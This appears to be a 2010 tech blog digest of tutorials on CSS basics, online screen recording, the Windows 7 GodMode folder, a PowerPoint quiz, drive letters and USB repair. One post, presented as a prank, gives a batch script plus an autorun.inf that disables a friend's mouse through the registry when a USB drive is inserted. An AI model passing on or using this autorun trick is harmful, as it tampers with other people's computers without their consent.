Basic Knowledge About CSS To Make A Beautiful Web Design.

Posted: 19 May 2010 04:53 AM PDT

CSS has been found mostly used in proper web designing. It has been so long that CSS has been used in every web designing field. It has been a better replacement for the tables in HTML.
CSS can be coded along with HTML Programs. However, it is commonly used as a separate file, and called upon by the HTML files.

In this tutorial you’ll learn the basic method of coding in CSS.

To start, let’s create a basic HTML document:

My Test Page 1

Save this as test1.html. Open it to check how it looks. Since it is just a basic HTML coding you’ll see it some what un-formatted raw document with “My Test Page 1” written in it along with the title “My Test Page”.

Now let me show you how it looks when you do some CSS coding there.

The above CSS code makes the body of this page to have a margin of 0, that means no spacing along the sites of your webpage. The padding is set to 0, that means no padding. Color of the text is set to #FF0000(red) while background color is set to #000(black). While the default font family is Arial with 100% size.

Now the question is, where does the above CSS script must lie to take in action?

And the answer is inside tag.

See the code example below.

Test Page 1

From all of the available CSS codes, we applied margin, padding, color, background-color, font-family, font-size to the body tag.

Here is the magic done after adding CSS code:

Basic principles of CSS coding:

When you are codding in CSS you’ll have to determine it first that for which thing the above CSS will work?

All the CSS coding will be useless when you don’t have title for it.

For example, we began with body { and finally ended with another braces }.

This means that any code lies between body {…………} will be applied to tag named .

Well it was for the specific tag like ,

etc. You can also title it with . (dot). .titleofcode{………….} will be used for class. It is brought to work by using class parameter in specific tag, especially division tag (

).

For example,

.header {
background-color: #000;
color: #FFF;
font-size: 24pt;
font-weight: bold;
padding: 5px;
border-bottom: 1px solid #000;
}


The above code can be brought to use by adding class parameter in

tag.

Test Page 1

The .header CSS code will be applied to the division or part of HTML content where class parameter, header, is defined.

Hope you got general ideas. Next time I’ll be here with the full tutorial to create a beautiful CSS based website.

Live Screen Recorder Without Any Software Download

Posted: 21 May 2010 06:17 AM PDT

We’ve already posted about CamRecorder which records live screen from your desktop.
But, in this tutorial, I am going to teach you new method to record the live screen with voice without downloading any software.

To get this working, first go to http://www.screenr.com. You should see “Record your screencast now!” button.

After clicking it, you should see something similar to the image below.

Later new window will pop-up asking you to run java applet for this website or not. Click on run button.

Now you’ve your screen recorder ready to go. Adjust the dimensions of the box until you get your desired screen size. When you are ready to record click the red record button . Then, a red box will indicate that you are recording.

When you are finished recording, press the DONE button.

You can only record up to 5 minutes; you also MUST have a twitter account.

If you check “Ill manually post it on Twitter” then it will publish it and you can download it.

If you are not satisfied with this website you can also check out the following alternatives:
http://www.screencast-o-matic.com/

http://www.screentoaster.com/

Hope this tutorial was likeable.

This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.

Disable Your Friend’s Mouse Whenever USB Disk Is Inserted

Posted: 20 May 2010 08:42 AM PDT

Batch scripting is really easy and so much a fun. You can learn and imagine so many things from batch and shell scripting.

In this short time pass tutorial, I am going to show you how to disable your friend’s mouse whenever your USB drive is inserted.

To get this feature working, you must make sure that your friend has not disabled autorun for removable media. However you may get this to work by creating a fake icon for the batch program.

As we did with our previous tutorial about copying files automatically, we’ll be using same principle here. First we’ll create a batch file and then we’ll be creating autorun.inf file. Then we’ll be pasting it in the root of USB drive. Now whenever the USB drive is inserted, system will look for autorun.inf. Autorun.inf will execute that batch file disabling the mouse.

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

Copy the above code in notepad and save it as “filename.bat”

The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”

Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.

[autorun]
Open=filename.bat
Action=Mouse Disable

The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.

Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.

To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Hope this tutorial was fun trying to.

Windows 7 Easter Egg | GodMode

Posted: 16 May 2010 07:58 AM PDT

Windows 7 enthusiastic just revealed new Easter egg. It is s all about the shortcut named ‘GodMode’ which enables users to access all of the Windows configuration settings in one window.

To get this secret revealed in your Windows 7, simply create an empty folder and rename it to the following:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}.

The folder icon will instantly change into a shortcut name GodMode which would allow you to access all settings of Windows. One can change the settings at their own will.

Hope this trick was helpful to you.

Creating a simple quiz application using Microsoft Powerpoint

Posted: 12 May 2010 06:41 AM PDT

In this tutorial I am going to teach you how to create an interactive quiz application slideshow using Microsoft Powerpoint..

Before beginning the tutorial you must know the things you’ll need:

- Welcome Page

- Question Page

- Success Page

- Failure Page

OK now let’s begin. First in default new slide type your welcome message.

Now create question page as many as you like. In this tutorial I am creating two questions page which contains simple questions.

To do so, create a new slide by going to Insert>New slide or CTRL+M.

Type your questions there. For instance I questioned what is 10+10 and in another question what is 5+3. Below the question I kept two options for each questions.

Now again create another new slide and type your congratulations message and again create another new slide and type the failure message.

Now the basic setup is ready.

Let’s create the quiz interface.

Highlight your correct answer for first question and press CTRL+K (Hyperlink).

Then go to “Place in this document” and choose the preceding question slide as shown in figure. (if right answer is clicked you’ll be welcomed with new question else you’ll be welcomed with failure message).

Again highlight the wrong answer and hyperlink it to failure page.

Do same for all of the questions. But for the last question of the quiz, hyperlink the correct answer to the congratulation page.

Now your quiz application is ready.

Press F5 button and try the quiz yourself.

Hope this tutorial was fun trying to.

How To Swap Or Change Drive Letter

Posted: 15 May 2010 06:40 AM PDT

Sometimes you may want to change your drive letter. There comes a day when you want all the files of C: in D: and all the files of D: in C: without any reason, just for name.

So, How to swap files from C: to D and D to C or any other drives. Copying all the files of C: in separate partition and finally formatting C: and copying D drive’s file in C: and again formatting D, again you’ll format D and copy the files of C that you stored in separated partition and paste it in D.

Well the above method is time consuming and foolish method. If you really want to swap the drive letter then this tutorial will be helpful.

Go to start> My computer, Right click on My Computer icon and click on Manage menu.

Go to Storage tree list on the left and choose Disk management.

Now in this example I am going to swap drive G: and V:.

Right click on G: drive and select Change Drive letter and paths menu as shown in figure.

In the new window, click on change button. Now choose any of the drive letter (suppose T: )and click on OK button.

Click yes in confirmation window

Now your G: drive changed to the one that you’ve specified just now.

Now let’s change the drive name of V: to G:

Again right click on drive V: and go to change drive letter and paths. Now finally following steps above change drive letter to G:

Finally you’ve changed V: to G: bytaking T: as substitution. Now let’s change T: substitution to V:, to do so follow the above steps and choose drive letter V: in place of T:.

Now you are done. You’ve success changed V: to G:.

Hope this tutorial was helpful.

How To Repair Detectable But Corrupt USB Drive

Posted: 13 May 2010 02:37 PM PDT

Have you suddenly encountered with the problem that when you plug in your USB drive, the Removable media shows up but when you try to open it, it returns with the message “Please insert a disk in to drive H:”.

If yes then you have been on right tutorial page.

By applying this simple method you’ll have 80 % chance to get back your USB drive hardware.

This works only in the above error condition. If the windows doesn’t detect your USB drive, then there is probably flaw in the USB media.

Please keep in mind that, you’ll have to lose your data when following this tutorial.

Plug in your USB drive.

Go to Start>My Computer, right click on My Computer icon and click on Manage menu.

Computer Management window will pop up. Click on Disk management under Storage tree menu.

Now at the right side of the window right click on your removable media. (unlike the image below, it will show unknown information), right click on your removable media and choose Change Drive Letter and Paths.

Now in new window choose any drive later that is not taken by any media (M:, N: , :K: etc).

Click on ok button and close the management window. Try opening your pendirve. There may be the chance to have your pendrive recovered if this method worked.

If the problem still prevails then follow the above tutorial but instead of choosing Change drive letter and paths, choose Fomrat and give a quick format to it.

Now you’ll have finally lost your data but the pendrive is safe in your hands.

Hope this tutorial was working. If it didn’t please do comment me. I’ll find other solutions as well.